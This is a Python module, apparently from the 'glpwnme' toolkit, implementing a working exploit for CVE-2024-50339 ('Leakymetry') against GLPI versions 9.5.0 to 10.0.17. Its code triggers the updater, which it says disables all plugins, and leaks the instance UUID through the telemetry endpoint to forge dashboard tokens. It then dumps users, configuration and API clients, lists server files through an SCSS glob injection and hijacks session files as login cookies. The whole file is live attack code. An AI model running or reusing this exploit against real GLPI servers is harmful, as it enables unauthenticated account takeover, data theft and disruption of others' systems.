import re
import json
import readline
from urllib.parse import urlparse
from http import HTTPStatus
from ..exploit import GlpiExploit
from glpwnme.exploits.logger import Log
from bs4 import BeautifulSoup
from glpwnme.exploits.utils import GlpiUtils
from requests.utils import requote_uri

class CVE_2024_50339(GlpiExploit):
    """
    This CVE abuses a permissive access to a file. Then by recovering the instance_uuid of glpi it is possible to
    craft special token that give access to the dashboard. Once the dashboard access, you can access the
    search engine of GLPI that will help you list users, configs params, ...
    But also, given the scss compiler used by GLPI you can list files on the server.
    It allows you to recover the sessions files of any authenticated user on the server !!!

    @author RIOUX Guilhem
    @cvss 9.3
    @name Leakymetry
    """
    RE_JSON = re.compile(r'\{.*\}', re.DOTALL)
    RE_SESSION = re.compile(r'.*/sess_([a-zA-Z0-9]+)$')
    min_version = "9.5.0"
    max_version = "10.0.17"
    _impacts = "Authentication bypass through session hijacking"
    _privilege = "Unauthenticated"

    def _enum_item(self, instance_uuid, itemtype, fields=[1]):
        """
        Enum some fields of an item
        """
        data = '{"is_recursive":1,"entities_id":0,"dashboard":"central"}'
        token = GlpiUtils.calc_uuid("central", instance_uuid)

        url_format = '/ajax/dashboard.php?embed=1&token={token}&action=get_card&card_id=bn_count_User&'
        url_format += 'args[widgettype]=searchShowList&args[apply_filters][id]=2&data={data}&args[color]=ffffff&'
        url_format += 'args[itemtype]={itemtype}&args[limit]=2000'

        for field in fields:
            url_format += f'&args[s_criteria][][field]={field}'

        return requote_uri(self.glpi_session.r(url_format.format(token=token, data=data, itemtype=itemtype)))

    def infos(self):
        """
        Return the information about the exploit
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit allows you to recover the telemetry of GLPI\n"
        infos += "It Contains the whole informations about the target architecture / versions.\n"
        infos += "From this, you will be able to list files on vulnerable instances.\n\n"

        infos += "[u]Usage:[/u]\n"
        infos += "Add [i]-O show_all=1[/i] to display urls accessible for enumeration\n"
        infos += "Add [i]-O token=<token>[/i] token to use if already recovered\n\n"

        infos += "[u]Note:[/u]\n"
        infos += "Please note that this exploit make a request to the update DB\n"
        infos += ":warning-emoji:  Leakymetry will [b]disable all plugins[/b] in use\n\n"

        infos += "Exploit is [b red]Dangerous[/b red]"
        return infos

    def _hook_sessions(self, sessions):
        """
        Hook sessions recovered to check their privileges
        """
        cookies = self.glpi_session.get_login_cookie()
        if not cookies:
            return

        cookie_name = cookies[0].split("=")[0]

        copied_sessions = sessions.copy()
        for i, session in enumerate(copied_sessions):
            if re.match(self.__class__.RE_SESSION, session):
                cookie = re.findall(self.__class__.RE_SESSION, session)[0]

                self.glpi_session.set_login_cookie(f"{cookie_name}={cookie}")
                res = self.get("/index.php")
                profiles = GlpiUtils.extract_user_profiles(res.text)
                if profiles:
                    Log.print(f"{session} --> [green]{', '.join(profiles)}[/green]")
                elif urlparse(res.url).path.split("/").pop() != 'index.php':
                    # Old glpi versions, lets enumerate
                    url_path = urlparse(res.url).path.split("/").pop()
                    if url_path == "central.php":
                        Log.print(f"{session} --> [gold3]High privileges[/gold3]")

                    else:
                        Log.print(f"{session} --> [gold3]Low privileges[/gold3]")

                else:
                    Log.print(f"{session} --> [red]Disconnected[/red]")
                sessions.remove(session)

    def start_leak(self, instance_uuid):
        """
        Pseudo shell to list files on directory
        """
        PLACEHOLDER = "INSERT_GLOB_DIR"
        token = GlpiUtils.calc_uuid("central", instance_uuid)

        url_format = f'/ajax/dashboard.php?embed=1&token={token}'
        url_format += '&data={"is_recursive":1,"entities_id":0,"dashboard":"central"}&action=get_card&card_id=bn_count_User'
        url_format += '&args[itemtype]=User&args[widgettype]=pie&args[rand]=DOM_NAME{color:%20(scssphp-glob('
        url_format += PLACEHOLDER
        url_format += '));}%0D%0A.dashboard-456&args[use_gradient]=1'

        print()
        Log.msg(f"Starting interactive [gold3]ls[/gold3]")
        Log.msg(f"The default sessions shall be here [gold3]../files/_sessions/sess_*[/gold3]\n")
        while True:
            dir_to_leak = input("Enter dirname (exit) >>> ")
            dir_to_leak = dir_to_leak.strip()

            if dir_to_leak.startswith("ls "):
                dir_to_leak = dir_to_leak[3:]

            if not dir_to_leak:
                continue

            elif dir_to_leak in ["x", "exit", "quit"]:
                break

            elif '*' not in dir_to_leak:
                Log.err("The '*' char was not present in your input, globbing might fail")

            random_dom_name = GlpiUtils.random_str(10)
            RE_DASHBOARD_RESULT = re.compile(rf'.dashboard #chart-{random_dom_name}\s*{{\s*color:(.*?)}}', re.DOTALL)

            payload_url = url_format.replace(PLACEHOLDER, dir_to_leak).replace("DOM_NAME", random_dom_name)
            res = self.get(payload_url)
            result = re.findall(RE_DASHBOARD_RESULT, res.text)
            try:
                if result:
                    result = result[0].strip().split(',')
                    beautified_res = list(map(lambda fname: fname.strip('";\r\n '), result))
                    try:
                        self._hook_sessions(beautified_res)

                    except KeyboardInterrupt:
                        pass

                    if beautified_res:
                        print(*beautified_res, sep="\n")

            except Exception as e:
                Log.err(e)
                print(res.text)

    def run(self, show_all=None, token=None):
        """
        Run the exploit on the target
        """
        if token:
            Log.msg(f"Using given token: {token}")
            self.start_leak(token)
            return

        res = self.post("/install/update.php", data={"continuer": "true"})
        if res.status_code != HTTPStatus.OK:
            Log.err(f"It seems the page is unavailable, got HTTP {res.status_code}")
            return None

        telemetry = self.get("/ajax/telemetry.php")
        try:
            json_telemetry = re.findall(self.__class__.RE_JSON, telemetry.text)[0]
            Log.msg(f"Telemetry for [green b]glpi[/green b] found:")
            Log.print(json_telemetry)

            uuid_loaded = json.loads(json_telemetry)["glpi"]["uuid"]
            if not uuid_loaded.replace('*', ''):
                Log.log(f'Target is patched')
                Log.log(f"Cookie used:")
                Log.log(*self.glpi_session.get_login_cookie(), sep="; ")
                return None
            print()

            if show_all:
                Log.msg(f"Dashboards urls:")
                central_url = GlpiUtils.get_dashboard_url("central", uuid_loaded)
                self.get(central_url)

                print(central_url)
                print(self.glpi_session.r(GlpiUtils.get_dashboard_url("assets", uuid_loaded)))
                print(self.glpi_session.r(GlpiUtils.get_dashboard_url("assistance", uuid_loaded)))
                print(self.glpi_session.r(GlpiUtils.get_dashboard_url("mini_tickets", uuid_loaded)))

                print()
                Log.msg(f"Leak sensitives datas:")
                Log.log(f"Use the following cookie:")
                Log.log(*self.glpi_session.get_login_cookie(), sep="; ")

                print()
                user_enum_http = self._enum_item(uuid_loaded, itemtype='User', fields=[5, 8, 15, 30, 16, 20, 21])
                Log.print(f"[u]Enum [b]users[/b] below:[/u]")
                print(user_enum_http)
                print()

                config_enum_http = self._enum_item(uuid_loaded, itemtype='Config')
                Log.print(f"[u]Enum [b]configuration[/b] below:[/u]")
                print(config_enum_http)

                print()
                apiclient_http = self._enum_item(uuid_loaded, itemtype='APIClient', fields=[1, 3, 5, 6, 8])
                Log.print(f"[u]Enum [b]Api Configuration[/b] below:[/u]")
                print(apiclient_http)

            self.start_leak(uuid_loaded)

        except Exception as e:
            Log.err(e)
